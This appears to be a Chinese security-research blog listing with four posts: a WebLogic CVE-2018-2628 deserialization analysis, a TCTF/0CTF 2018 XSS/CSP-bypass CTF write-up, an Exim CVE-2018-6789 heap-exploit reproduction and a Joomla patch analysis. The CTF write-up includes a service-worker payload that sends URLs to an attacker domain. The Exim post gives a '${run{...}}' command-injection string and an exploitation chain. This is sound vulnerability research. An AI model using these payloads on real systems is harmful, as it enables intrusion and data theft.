RSS Feed
更好更安全的互联网
  • Weblogic 反序列化漏洞(CVE-2018-2628)漫谈

    2018-04-25

    作者:Badcode@知道创宇404实验室

    漏洞简介

    2018年4月18日,Oracle官方发布了4月份的安全补丁更新CPU(Critical Patch Update),更新中修复了一个高危的 WebLogic 反序列化漏洞CVE-2018-2628。攻击者可以在未授权的情况下通过T3协议对存在漏洞的 WebLogic 组件进行远程攻击,并可获取目标系统所有权限。

    漏洞影响

    • Weblogic 10.3.6.0
    • Weblogic 12.1.3.0
    • Weblogic 12.2.1.2
    • Weblogic 12.2.1.3

    Weblogic 反序列化漏洞历程

    这里简单的说下几个有公开利用方式的Weblogic反序列化漏洞。

    CVE-2015-4852

    2015年11月6日,FoxGlove Security 安全团队的 @breenmachine 发布的一篇博客中介绍了如何利用Java反序列化和 Apache Commons Collections 这一基础类库来攻击最新版的 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 这些大名鼎鼎的Java应用,实现远程代码执行。CVE-2015-4852就是利用 Weblogic 中的Commons Collections 库来实现远程代码执行。查看了CVE-2015-4852的补丁(p21984589_1036_Generic),发现 Weblogic 采用的黑名单的形式来修复这个漏洞。

    但是这种修复方式很被动,存在被绕过的风险,只要发现可用并且未在黑名单之外的反序列化类,那么之前的防护就会被打破,系统遭受攻击。而后的漏洞也证明了这一点。

    CVE-2016-0638

    Weblogic的反序列化的点有着三个,黑名单ClassFilter.class也作用于这三个位置。

    • weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
    • weblogic.rjvm.MsgAbbrevInputStream.class
    • weblogic.iiop.Utils.class

    有人发现利用weblogic.jms.common.StreamMessageImplreadExternal()也是可以进行反序列化操作的,而且这个不受黑名单限制,所以可以绕过了之前的补丁。

    CVE-2016-3510

    ​ 原理是将反序列化的对象封装进了weblogic.corba.utils.MarshalledObject,然后再对 MarshalledObject进行序列化,生成 payload 字节码。反序列化时 MarshalledObject 不在 WebLogic 黑名单里,可正常反序列化,在反序列化时 MarshalledObject对象调用 readObject 时对 MarshalledObject 封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。

    CVE-2017-3248

    ​ Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。

    ​ 这个漏洞就是利用 RMI 机制的缺陷,通过 JRMP 协议达到执行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPLister,这将会序列化一个 RemoteObjectInvocationHandler,该RemoteObjectInvocationHandler使用UnicastRef建立到远端的 TCP 连接获取RMI registry。 此连接使用 JRMP 协议,因此客户端将反序列化服务器响应的任何内容,从而实现未经身份验证的远程代码执行。

    CVE-2018-2628 漏洞分析

    ​ 首先我们来看以下 CVE-2017-3248 这个漏洞的补丁(p24667634_1036_Generic),在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass,这个resolveProxyClass只是对 RMI 接口类型进行了判断,判断 RMI 接口是否为java.rmi.registry.Registry,是的话抛出错误。

    这里,换个RMI 接口类型即可绕过这个补丁。可以使用java.rmi.activation.Activator来替代java.rmi.registry.Registry生成payload,即可绕过这个判断限制。

    仿照JRMPClient写一个JRMPClient2,重新编译。

    生成 payload:

    可以对比以下JRMPClientJRMPClient2 生成的 payload。

    除了 RMI 接口不一样,其他都是一样的。

    JRMPLister开启

    我测试的 Weblogic 版本是10.3.6.0.170117,即已修复了CVE-2017-3248漏洞,在我本地的环境中,CommonsCollections这个 payload 已经失效了。Weblogic 的commons-collections.jar版本已经升级,所以我这里 payload 用的是Jdk7u21(这个 payload 只有在 JRE 版本小于等于 1.7u21 才起作用)。在commons-collections.jar版本没有升级的 Weblogic 中,使用CommonsCollections 这个 payload 是可以的。

    使用 t3 协议脚本发送 p_client2,可以看到JRMPLister有请求过来了,客户端命令也执行成功了。

    作为对比,将JRMPClient生成的 p_client 也发送过去,可以看到报错信息Unauthorized proxy deserialization,正是黑名单拦截抛出的错误。

    可见java.rmi.activation.Activator是绕过了CVE-2017-3248的补丁了。

    另外一种绕过补丁的方式

    这种方式是我在复现漏洞时尝试 payload 的时候发现的,绕过的方式和CVE-2016-0638有关。

    StreamMessageImpl这个点在反序列化的时候没有resolveProxyClass检查。所以可以使用StreamMessageImplRemoteObjectInvocationHandler序列化,以此来绕过resolveProxyClass函数。相当于使用CVE-2016-0638的利用方式加上CVE-2017-3248的 payload 来绕过补丁。

    JRMPClient生成的 payloadObject 用StreamMessageImpl封装生成新的 payload——p_stream。

    使用脚本发送,可以看到,成功执行了命令。

    CVE-2018-2628补丁分析

    初步比对补丁(p27395085_1036_Generic),发现WeblogicFilterConfig.class的黑名单多了一个sun.rmi.server.UnicastRef

    但是根据我的实际测试,命令还是可以执行成功,貌似补丁没起作用。

    总结

    ​ 总的来说,Weblogic 反序列化漏洞就是在不停的修复-绕过-修复-绕过……最精彩的永远是下一个

    参考链接

    作者:知道创宇404实验室 | Categories:技术分享 | Tags:
  • TCTF/0CTF2018 XSS Writeup

    2018-04-18

    作者:LoRexxar’@知道创宇404实验室

    刚刚4月过去的TCTF/0CTF2018一如既往的给了我们惊喜,其中最大的惊喜莫过于多道xss中Bypass CSP的题目,其中有很多应用于现代网站的防御思路。

    其中bl0g提及了通过变量覆盖来调用已有代码动态插入Script标签绕过strict-dynamicCSP的利用方式。

    h4xors.club2则是通过Script Gadgets和postmessage中间人来实现利用。

    h4x0rs.space提及了Appcache以及Service worker配合jsonp接口实现的利用思路。

    其中的很多利用思路非常精巧,值得研究。所以我花费了大量时间复现其中题目的思路以及环境,希望能给读者带来更多东西…

    bl0g

    题目分析

    很有趣的题目,整个题的难点在于利用上

    站内的功能都是比较常见的xss功能

    1. new 新生成文章
    2. article/xx 查看文章/评论
    3. submit 提交url (start with http://202.120.7.197:8090/)
    4. flag admin可以查看到正确的flag

    还有一些隐藏的条件

    1、CSP

    挺有趣的写法,经过我的测试,两个CSP分开写,是同时生效并且单独生效的,也就是与的关系。

    换个说法就是,假设我们通过动态生成script标签的方式,成功绕过了第二个CSP,但我们引入了<script src="hacker.website">,就会被第一条CSP拦截,很有趣的技巧。

    从CSP我们也可以简单窥得一些利用思路,base-uri 'none'代表我们没办法通过修改根域来实现攻击,default-src 'none'这其中包含了frame-src,这代表攻击方式一定在站内实现,script-src的双限制代表我们只能通过<script>{eval_code}的方式来实现攻击,让我们接着往下看。

    2、new中有一个字段是effect,是设置特效的

    effect字段会插入到页面中的<input type="hidden" id="effect" value="{effect_value}">,但这里实际上是没有任何过滤的,也就是说我们可以通过闭合这个标签并插入我们想要的标签,需要注意的是,这个点只能插入70个字符

    3、login?next=这个点可以存在一个任意跳转,通过这个点,我们可以绕过submit的限制(submit的maxlength是前台限制,可以随便跳转

    4、站内的特效是通过jqery的append引入的,在article.js这个文件中。

    effects在config.js中被定义。

    回顾上面的几个条件,我们可以简单的整理思路。

    在不考虑0day的情况下,我们唯有通过想办法通过动态生成script标签,通过sd CSP这个点来绕过

    首先我们观察xss点周围的html结构

    image.png-21.3kB

    在整站不开启任何缓存的情况下,通过插入标签的方式,唯一存在一种绕过方式就是插入<script a="

    这种插入方式,如果插入点在一个原页面的script标签前的话,有几率吃掉下一个script标签的nonce属性,举个例子:

    但这个操作在这里并不适用,因为中间过多无用标签,再加上即使吞了也不能有什么办法控制后面的内容,所以这里只有一种绕过方式就是dom xss。

    稍微翻翻可以发现,唯一的机会就在这里

    如果我们可以覆盖effects变量,那我们就可以向body注入标签了,这里需要一点小trick。

    在js中,对于特定的form,iframe,applet,embed,object,img标签,我们可以通过设置id或者name来使得通过id或name获取标签

    也就是说,我们可以通过effects获取到<form name=effects>这个标签。同理,我们就可以通过插入这个标签来注册effects这个变量。

    可如果我们尝试插入这个标签后,我们发现插入的effects在接下来的config.js中被覆盖了。

    这时候我们回到刚才提到的特性,浏览器有一定的容错能力,我们可以通过插入<script>,那么这个标签会自动闭合后面config.js的</script>,那么中间的代码就会被视为js代码,被CSP拦截。

    image.png-34.4kB

    我们成功的覆盖了effects变量,紧接着我们需要覆盖effects[$("#effect").val()],这里我们选择id属性(这里其实是为了id会使用两次,可以更省位数),

    所以我们尝试传入

    image.png-16.9kB

    成功执行

    接下来的问题就在于怎么构造获取flag了,这里最大的问题在于怎么解决位数不够的问题,我们可以简单计算一下。

    上面的payload最简化可以是

    一共有45位,我们可以操作的位数只有25位。在有限的位数下我们需要获取flag页面的内容,并返回回来,我一时间没想到什么好办法。

    下面写一种来自@超威蓝猫的解法,非常有趣的思路,payload大概是这样的

    https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup

    通过jquery get获取flag内容,通过箭头函数将返回赋值给window.name,紧接着,我们需要想办法获取这里的window.name。

    这里用到一个特殊的跨域操作

    http://www.cnblogs.com/zichi/p/4620656.html

    这里用到了一个特殊的特性,就是window.name不跟随域变化而变化,通过window.name我们可以缓存原本的数据。

    利用思路

    完整payload

    然后通过login?next=这里来跳转到这里,成功理顺

    最后分享一个本环境受限的脑洞想法(我觉得蛮有意思的

    这个思路受限于当前页面CSP没有unsafe-eval,刚才说到window.name不随域变化而变化,那么我们传入payload

    然后在自己的服务器上设置

    这样我们就能设置window.name了,如果允许eval的话,就可以通过这种方式绕过长度限制。

    h4xors.club2

    一个非常有意思的题目,做这题的时候有一点儿钻牛角尖了,后面想来有挺多有意思的点。先分享一个非常秀的非预期解wp。

    http://www.wupco.cn/?p=4408&from=timeline

    在分享一个写的比较详细的正解

    https://gist.github.com/paul-axe/869919d4f2ea84dea4bf57e48dda82ed

    下面顺着思路一起来看看这题。

    题目分析

    站内差不多是一个答题站点,用了比较多的第三方库,站内的功能比较有限。

    1. profile.php可以修改自己个人信息
    2. user.php/{id}可以访问自己的个人信息
    3. report.php没什么可说的,向后台发送请求,需要注意的是,直接发送user.php,不能控制
    4. index.php接受msg参数

    还有一些特别的点

    1、user.php页面的CSP为

    非常严格,只允许nonce CSP的script解析

    index.php页面的CSP为

    允许sd CSP动态执行script(这里的出发点可能是index.php是加载游戏的地方,为了适应CSP,必须加入strict-dynamic。)

    2、站内有两个xss点

    第一个是user.php的profile,储存型xss,没有任何过滤。

    第二个是index.php的msg参数,反射性xss,没有任何过滤,但是受限于xss auditor

    顺着思路向下

    因为user.php页面的CSP非常严格,我们需要跳出这个严格的地方,于是可以通过插入meta标签,跳转到index.php,在这里进一步操作

    当然这里我们也可以利用储存型xss和页面内的一段js来构造a标签跳转。

    在user.php的查看profile页面,我们可以看到

    当我们插入

    并请求

    那么这里的a标签就会被点击,同样可以实现跳转。

    接着我们探究index.php,这里我们的目标就是怎么能够绕过sd CSP了,当时的第一个想法是<base>,通过修改当前页面的根域,我们可以加载其他域的js(听起来很棒!

    可惜如果我们请求

    会被xss auditor拦截,最后面没办法加/">,一个非常有趣的情况出现了

    image.png-7.8kB

    最后的</h1>中的/被转换成了路径,前面的左尖括号被拼入了域名中,后面的右尖括号闭合标签…一波神奇的操作…

    不过这里因为没法处理尖括号域名的事情,所以置于后话不谈。

    我们继续讨论绕过sd CSP的思路,这种CSP已知只有一种办法,就是通过现在已有的js代码构造xss,这是一种在去年blackhat大会上google团队公布的CSP Bypass技巧,叫做Script Gadgets。

    https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

    这里的漏洞点和ppt中的思路不完全一致,但核心思路一样,都是要利用已有js代码中的一些点来构造利用。

    站内关于游戏的代码在app.js中的最下面,加载了client.js

    client.js中的代码不多,有一些值得注意的点,就是客户端是通过postMessage和服务端交互的。

    image.png-94.1kB

    而且所有的交互都没有对来源的校验,也就是可以接受任何域的请求。

    ps: 这是一个呆子不开口在2016年乌云峰会上提到的攻击手法,通过postMessage来伪造请求

    这样我们可以使用iframe标签来向beckend页面发送请求,通过这种方式来控制返回的消息。

    这里我盗用了一张别的wp中的图,来更好的描述这种手法

    原图来自https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.club

    image.png-112.7kB

    这里我们的exploit.html充当了中间人的决赛,代替客户端向服务端发送请求,来获取想要的返回

    这里我们可以关注一下client.js中的recvmsg

    image.png-323.9kB

    如果我们能控制data.title,通过这里的dom xss,我们可以成功的绕过index.php下的sd CSP限制。

    值得注意的是,如果我们试图通过index.php页面的反射性xss来引入iframe标签的话,如果iframe标签中的链接是外域,会被xss auditor拦截。

    所以这里需要用user.php的储存型xss跳出。这样利用链比较完整了。

    利用思路

    1、首先我们需要注册两个账号,这里使用ddog123和ddog321两个账号。

    2、在ddog321账号中设置profile公开,并设置内容为

    3、在evil_website.com(这里有个很关键的tips,这里只能使用https站,否则会爆引入混合数据,阻止访问)的index.html向backend发送请求,这里的js需要设置ping和badges,在badges中设置title来引入js

    4、在ddog123账户中设置profile为

    5、最后在1.js中加入利用代码,发送report给后台等待返回即可。

    h4x0rs.space

    TCTF/0CTF中的压轴题目,整个题目的利用思路都是近几年才被人们提出来的,这次比赛我也是第一次遇到环境,其中关于Appcache以及Service Worker的利用方式非常有趣,能在特殊环境下起到意想不到的作用。

    下面的Writeup主要来自于

    https://gist.github.com/masatokinugawa/b55a890c4b051cc6575b010e8c835803

    题目分析

    先简单说一下整个题目逻辑

    1、站内是一个生成文章的网站,可以输入title,content,然后可以上传图片,值得注意的是,这里的所有输入都会被转义,生成的文章内容不存在xss点。

    2、站内开启CSP,而且是比较严格的nonce CSP

    3、文章内引入了类似短标签的方式可以插入部分标签,例如[img]test[/img]

    值得注意的是这里有一个特例

    如果插入[ig]123[/ig]就会被转为引入https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=123&p=instagram的iframe。

    值得注意的是,embed.php中的embed这里存在反射性xss点,只要闭合注释就可以插入标签,遗憾的是这里仍然会被CSP限制。

    4、站内有一个jsonp的接口,但不能传尖括号,后面的文章内容什么的也没办法逃逸双引号。

    5、图片上传的接口可以上传SVG,图片在站内同源,并且不受到CSP的限制,我们可以在SVG中执行js代码,来绕过CSP,而重点就是,我们只能提交blog id,我们需要找到一个办法来让它执行。

    AppCache 的利用

    在提示中,我们很明显可以看到cache这个提示,这里的提示其实是说,利用appcache来加载svg的方式。

    在这之前,我们可能需要了解一下什么是Appcache。具体可以看这篇文章。

    https://www.html5rocks.com/en/tutorials/appcache/beginner/

    这是一种在数年前随H5诞生的一种可以让开发人员指定浏览器缓存哪些文件以供离线访问,在缓存情况下,即使用户在离线状态刷新页面也同样不会影响访问。

    Appcache的开启方法是在html标签下添加manifest属性

    这里的example.appcache可以是相对路径也可以是绝对路径,清单文件的结构大致如下:

    CACHE:
    这是条目的默认部分。系统会在首次下载此标头下列出的文件(或紧跟在 CACHE MANIFEST 后的文件)后显式缓存这些文件。

    NETWORK:
    此部分下列出的文件是需要连接到服务器的白名单资源。无论用户是否处于离线状态,对这些资源的所有请求都会绕过缓存。可使用通配符。

    FALLBACK:
    此部分是可选的,用于指定无法访问资源时的后备网页。其中第一个 URI 代表资源,第二个代表后备网页。两个 URI 必须相关,并且必须与清单文件同源。可使用通配符。

    这里有一点儿很重要,关于Appcache,您必须修改清单文件本身才能让浏览器刷新缓存文件

    去年@filedescriptor公开了一个利用Appache来攻击沙箱域的方法。

    https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=16

    这里正是使用了Appcache的FALLBACK文件,我们可以通过上传恶意的svg文件,形似

    然后将manifest设置为相对目录的svg文件路径,形似

    在这种情况下,如果我们能触发页面500,那么页面就会跳转至FALLBACK指定页面,我们成功引入了一个任意文件跳转。

    紧接着,我们需要通过引入[ig]a#[/ig],通过拼接url的方式,这里的#会使后面的&instagram无效,使页面返回500错误,缓存就会将其引向FALLBACK设置页面。

    这里的payload形似

    这里之所以会引入多个a#是因为缓存中FALLBACK的加载时间可能慢于单个iframe的加载时间,所以需要引入多个,保证FALLBACK的生效。

    最后发送文章id到后台,浏览器访问文章则会触发下面的流程。

    上面的文章会转化为

    上面的iframe标签会引入我们提前上传好的manfiest文件

    并将FALLBACK设置为/blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg

    然后下面的iframe标签会访问/blog/untrusted_files/embed/embed.php?embed=a并处罚500错误,跳转为提前设置好的svg页面,成功逃逸CSP。

    当我们第一次读取到document.cookie时,返回为

    大致意思是说,bot会在5秒后访问flag页面,我们需要获取这个id。

    Service Worker的利用

    仔细回顾站内的功能,根据出题人的意思,这里会跳转到形似https://h4x0rs.space/blog/[blog_post_id]的url,通过Appcache我们只能控制/blog/untrusted_files/这个目录下的缓存,这里我们需要控制到另一个选项卡的状态。

    在不具有窗口引用办法的情况下,这里只有使用Service Worker来做持久化利用。

    关于Service Worker忽然发现以前很多人提到过,但好像一直都没有被重视过。这种一种用来替代Appcache的离线缓存机制,他是基于Web Worker的事件驱动的,他的执行机制都是通过新启动线程解决,比起Appcache来说,它可以针对同域下的整站生效,而且持续保存至浏览器重启都可以重用。

    下面是两篇关于service worker的文档:

    https://developers.google.com/web/fundamentals/primers/service-workers/?hl=zh-cn

    https://www.w3.org/TR/service-workers/

    使用Service Worker有两个条件:

    1、Service Worker只生效于https://或者http://localhost/
    2、其次你需要浏览器支持,现在并不是所有的浏览器都支持Service Worker。

    当我们满足上述条件,并且有一个xss利用点时,我们可以尝试构造一个持久化xss利用点,但在利用之前,我们需要更多条件。

    1、如果我们使用navigator.serviceWorker.register来注册js,那么这里请求的url必须同源而且请求文件返回头必须为text/javascript, application/x-javascript, application/javascript中的一种。

    2、假设站内使用onfetch接口获取内容,我们可以通过hookfetch接口,控制返回来触发持久化控制。

    对于第一种情况来说,或许我们很难找到上传js的接口,但不幸的是,jsonp接口刚好符合这样的所有条件~~

    具体的利用方式我会额外在写文分析这个,详情可以看这几篇文章:

    http://drops.xmd5.com/static/drops/web-10798.html

    https://paper.seebug.org/177/

    https://speakerdeck.com/masatokinugawa/pwa-study-sw

    最后的这个ppt最详细,但他是日语的,读起来非常吃力。

    这里回到题目,我们可以注意到站内刚好有一个jsonp接口

    值得注意的是,这里的callback接口有字数限制,这里可以通过和title的配合,通过注释来引入任何我们想要的字符串。

    这里需要注意的是,在serviceWorker线程中,我们并不能获取所有的对象,所以这里直接获取当前请求的url。

    完整的利用链如下:

    1、将*/onfetch=e=>{fetch(https://my-domain/?${e.request.url})}//写入文章内,并保留下文章id。

    2、构造jsonp接口https://h4x0rs.space/blog/pad.php?callback=/*&id={sw_post_id}

    3、上传svg,https://h4x0rs.space/blog/untrusted_files/[SVG_HAVING_SW].svg

    4、构造manifest文件,https://h4x0rs.space/blog/untrusted_files/[SVG_MANIFEST_SW].svg

    5、构造embed页面url

    6、最后构造利用文章内容

    7、发送post id即可

    REF

    作者:知道创宇404实验室 | Categories:技术分享 | Tags:
  • Exim Off-by-one(CVE-2018-6789)漏洞复现分析

    2018-04-02

    作者:Hcamael@知道创宇404实验室

    前段时间meh又挖了一个Exim的RCE漏洞[1],而且这次RCE的漏洞的约束更少了,就算开启了PIE仍然能被利用。虽然去年我研究过Exim,但是时间过去这么久了,所以这次复现还是花了大量时间在熟悉Exim源码上。

    本次漏洞复现的过程中,踩了好多坑,实际复现的过程中发现堆块的实际情况无法像meh所说的那样的构造,所以在这部分卡了很久(猜测是因为环境不同的原因),之后决定先理解meh利用的大致思路,然后自己根据实际情况对堆块进行构造,虽然过程艰难,但最终基本算是成功了。

    复现环境搭建

    本次使用的环境和上次大致相同, 首先去github上该漏洞的patch commit[2]

    然后把分支切换到上一个commit

    Makefile仍然使用上次那个:

    然后就是编译安装了:

    启动也是跟上次一样,但是这里有一个坑点,开启debug,输出所有debug信息,不开debug,这些都堆的布局都会有影响。不过虽然有影响,但是只是影响构造的细节,总体的构造思路还是按照meh写的paper中那样。

    本篇的复现,都是基于只输出部分debug信息的模式:

    漏洞复现

    因为我觉得meh的文章中,漏洞原理和相关函数的说明已经很详细,我也没啥要补充的,所以直接写我的复现过程

    STEP 1

    首先需要构造一个被释放的chunk,但是没必要像meh文章说的是一个0x6060大小的chunk,只需要满足几个条件:

    这个chunk要被分为三个部分,一个部分是通过store_get获取,用来存放base64解码的数据,用来造成off by one漏洞,覆盖下一个chunk的size,因为通过store_get获取的chunk最小值是0x2000,然后0x10的堆头和0x10的exim自己实现的堆头,所以是一个至少0x2020的堆块。

    第二部分用来放sender_host_name,因为该变量的内存是通过store_malloc获取的,所以没有大小限制

    第三部分因为需要构造一个fake chunk用来过free的检查,所以也是一个至少0x2020的堆块

    和meh的方法不同,我通过unrecognized command来获取一个0x4041的堆块,然后通过EHLO来释放:

    0x1d15180是通过unrecognized command获取的一个0x4040大小的chunk,在执行完EHLO命令后被释放, 然后0x1d191c0是inuse的sender_host_name,这两部分就构成一个0x6060的chunk

    STEP 2

    现在的情况是sender_host_name位于0x6060大小chunk的最底部,而我们需要把它移到中间

    这部分的思路和meh的一样,首先通过unrecognized command占用顶部0x2020的chunk

    之前的文章分析过,unrecognized command申请内存的大小是ss = store_get(length + nonprintcount * 3 + 1);

    通过计算,只需要让length + nonprintcount * 3 + 1 > yield_lengthstore_get函数就会从malloc中申请一个chunk

    这个时候我们就能使用EHLO释放之前的sender_host_name,然后重新设置,让sender_host_name位于0x6060大小chunk的中部

    STEP 3

    现在我们的堆布局是:

    • 第一块未被使用的0x2020大小的chunk
    • 第二块正在被使用0x2000大小的sender_host_name
    • 第三块未被使用,并且和之后堆块合并, 0x6060大小的chunk

    我们现在再回过头来想想各个chunk的size的设置的问题

    CHUNK 1

    第一个chunk是用来触发off by one漏洞,用来修改第二个CHUNK的size位,只能溢出1byte

    store_get最小分配一个0x2020的chunk,能储存0x2000的数据

    这就导致了,如果按照store_get的最小情况来,只能溢出覆盖掉第二个chunk的pre_size位

    然后因为(0x2008-1)%3==0,所以我们能通过b64decode函数的漏洞申请一个能储存0x2008的数据,size=0x2020的chunk,然后溢出一个字节到下一个chunk的size位

    CHUNK2

    第二块chunk,我们首先需要考虑,因为只能修改一个字节,所以最大只能从0x00扩展到0xf0

    其次,我们假设第二块chunk的原始size=0x2021,然后被修改成0x20f1,我们还需要考虑第二块chunk+0x20f1位置的堆块我们是否可控,因为需要伪造一个fake chunk,来bypass free函数的安全检查。

    经过多次调试,发现当第二块chunk的size=0x2001时,更方便后续的利用

    CHUNK3

    第三个chunk只要求大于一个store_get申请的最小size(0x2020)就行了

    STEP 4

    根据第三步叙述的,我们来触发off by one漏洞

    并且构造在第三块chunk中构造一个fake chunk

    STEP 5

    下一步跟meh一样,通过释放sender_host_name,把一个原本0x2000的chunk扩展成0x20f0, 但是却不触发smtp_reset

    STEP 6

    meh提供了一种不需要泄露地址就能RCE的思路

    exim有一个expand_string函数,当其处理的参数中有${run{xxxxx}}, xxxx则会被当成shell命令执行

    acl_check函数中会对各个命令的配置进行检查,然后把配置信息的字符串调用expand_string函数

    我复现环境的配置信息如下:

    所以我有rcpt, data, auth这三个命令可以利用

    比如0x0000000001cedae0地址当前的内容是:

    当我把该字符串修改为${run{/usr/bin/touch /tmp/pwned}}

    则当我向服务器发送AUTH命令时,exim将会执行/usr/bin/touch /tmp/pwned

    所以之后就是meh所说的利用链:

    修改storeblock的next指针为储存acl_check_xxxx字符串的堆块地址 -> 调用smtp_reset -> 储存acl_check_xxxx字符串的堆块被释放丢入unsortedbin -> 申请堆块,当堆块的地址为储存acl_check_xxxx字符串的堆块时,我们可以覆盖该字符串为命令执行的字符串 -> RCE

    STEP 7

    根据上一步所说,我们首先需要修改next指针,第二块chunk的原始大小是0x2000,被修改后新的大小是0x20f0,下一个storeblock的地址为第二块chunk+0x2000,next指针地址为第二块chunk+0x2010

    所以我们申请一个0x2020的chunk,就能够覆盖next指针:

    这里有一个问题

    第二个chunk在AUTH CRAM-MD5命令执行时就被分配了,所以b64decode的内存是从next_yield获取的

    这样就导致一个问题,我们能通过之前的构造来控制在执行b64decodeyield_length的大小,最开始我的一个思路就是,仍然利用off by one漏洞来修改next,这也是我理解的meh所说的partial write

    但是实际情况让我这个思路失败了

    当前的next指针的值为0x1d171b0,如果利用我的思路是可以修改1-2字节,然而储存acl_check_xxx字符的堆块地址为0x1ced980

    我们需要修改3字节,所以这个思路行不通

    所以又有了另一个思路,因为exim是通过fork起子进程来处理每个socket连接的,所以我们可以爆破堆的基地址,只需要爆破2byte

    STEP 8

    在解决地址的问题后,就是对堆进行填充,然后修改相关acl_check_xxx指向的字符串

    然后附上利用截图:

    总结

    坑踩的挺多,尤其是在纠结meh所说的partial write,之后在github上看到别人公布的exp[3],同样也是使用爆破的方法,所以可能我对partial write的理解有问题吧

    另外,通过与github上的exp进行对比,发现不同版本的exim,acl_check_xxx的堆偏移也有差别,所以如果需要RCE exim,需要满足下面的条件:

    1. 包含漏洞的版本(小于等于commit 38e3d2dff7982736f1e6833e06d4aab4652f337a的版本)
    2. 开启CRAM-MD5认证,或者其他有调用b64decode函数的认证
    3. 需要有该exim的binary来计算堆偏移
    4. 需要知道exim的启动参数

    参考

    1. https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/
    2. https://github.com/Exim/exim/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1
    3. https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789
    作者:知道创宇404实验室 | Categories:安全研究技术分享 | Tags:
  • 从补丁到漏洞分析 –记一次joomla漏洞应急

    2018-02-07

    作者:LoRexxar’@知道创宇404实验室

    2018年1月30日,joomla更新了3.8.4版本,这次更新修复了4个安全漏洞,以及上百个bug修复。

    https://www.joomla.org/announcements/release-news/5723-joomla-3-8-4-release.html

    为了漏洞应急这几个漏洞,我花费了大量的时间分析漏洞成因、寻找漏洞触发位置、回溯逻辑,下面的文章比起漏洞分析来说,更接近我思考的思路,希望能给大家带来不一样的东西。

    背景

    其中的4个安全漏洞包括

    根据更新,我们去到github上的joomla项目,从中寻找相应的修复补丁,可以发现,4个安全漏洞的是和3.8.4的release版同时更新的。

    https://github.com/joomla/joomla-cms/commit/0ec372fdc6ad5ad63082636a0942b3ea39acc7b7

    通过补丁配合漏洞详情中的简单描述我们可以确定漏洞的一部信息,紧接着通过这部分信息来回溯漏洞成因。

    SQLi vulnerability in Hathor postinstall message

    https://developer.joomla.org/security-centre/722-20180104-core-sqli-vulnerability.html

    补丁分析

    第一个漏洞说的比较明白,是说在Hathor的postinstall信息处,由于错误的类型转换导致了注入漏洞。

    我们来看看相应的补丁

    符合漏洞描述的点就是这里,原来的取第一位改为了对取出信息做强制类型转换,然后拼接入sql语句。

    这里假设我们可以控制$adminstyle,如果我们通过传入数组的方式设置该变量为数组格式,并且第1个字符串可控,那么这里就是一个可以成立的漏洞点。

    现在我们需要找到这个功能的位置,并且回溯变量判断是否可控。

    找到漏洞位置

    hathor是joomla自带的两个后台模板之一,由于hathor更新迭代没有isis快,部分功能会缺失,所以在安装完成之后,joomla的模板为isis,我们需要手动设置该部分。

    修改完成后回到首页,右边就是postinstallation message

    回溯漏洞

    回到代码中,我们需要找到$adminstyle这个变量进入的地方。

    这里user为JFactory::getUser(),跟入getParam方法

    这里$this->_params来自$this->_params = new Registry;

    跟入Registry的get方法

    根据这里的调用方式来看,这里会通过这里的的判断获取是否存在adminstyle,如果没有则会返回default(这里为空)

    接着回溯$this->data,data来自$this->data = new \stdClass;

    回溯到这里可以发现$admin_style的地方是从全局变量中中读取的。

    默认设置为空/administrator/components/com_users/models/forms/user.xml

    但我们是可以设置这个的

    后台users->users->super user设置,右边我们可以设置当前账户使用的后台模板,将右边修改为使用hathor型模板。

    通过抓包我们可以发现,这里显式的设置了当前账户的admin_type,这样如果我们通过传入数组,就可以设置admin_type为任意值

    然后进入代码中的数据库操作
    /administrator/templates/hathor/postinstall/hathormessage.php function hathormessage_postinstall_condition

    访问post_install页面触发

    XSS vulnerability in com_fields

    https://developer.joomla.org/security-centre/720-20180102-core-xss-vulnerability.html

    补丁分析

    漏洞详情写了很多,反而是补丁比较模糊,我们可以大胆猜测下,当插入的字段类型为list、radio、checkbox多出的部分变量没有经过转义

    首先我们需要先找到触发点

    后台content->fields->new,然后设置type为radio,在键名处加入相应的payload

    然后保存新建文章

    成功触发

    漏洞分析

    由于补丁修复的方式比较特殊,可以猜测是在某些部分调用时使用了textContent而不是nodeValue,在分析变量时以此为重点。

    漏洞的出发点/administrator/components/com_fields/libraries/fieldslistplugin.php line 31

    由于找不到该方法的调用点,所以我们从触发漏洞的点分析流程。

    编辑文章的上边栏是通过administrator/components/com_content/views/article/tmp/edit.php line 99载入的

    这里JLayoutHelper:render会进入/layouts/joomla/edit/params.php

    然后在129行进入JLayoutHelper::render('joomla.edit.fieldset', $displayData);

    跟入/layouts/joomla/edit/fieldset.php line 16,代码在这里通过执行formgetFieldset获取了提交的自定义字段信息。

    跟入/libraries/src/Form/Form.php line 329 function getFieldset

    跟如1683行 findFieldsByFieldset函数。

    这里调用xml来获取数据,从全局的xml变量中匹配。

    这里的全局变量中的xml中的option字段就来自于设置时的$option->textContent,而只有list, radio and checkbox.这三种是通过这里的函数做处理,其中list比较特殊,在后面的处理过程中,list类型的自定义字段会在/libraries/cms/html/select.php line 742 function options被二次处理,但radio不会,所以漏洞存在。

    整个xss漏洞从插入到触发限制都比较大,实战价值较低。

    XSS vulnerability in Uri class

    https://developer.joomla.org/security-centre/721-20180103-core-xss-vulnerability.html

    补丁分析

    比起其他几个来说,这里的漏洞就属于特别清晰的,就是在获取系统变量时,没做相应的过滤。

    前台触发方式特别简单,因为这里的script_name是获取基础url路径的,会拼接进所有页面的和链接有关系的地方,包括js或者css的引入。

    漏洞利用

    让我们来看看完整的代码

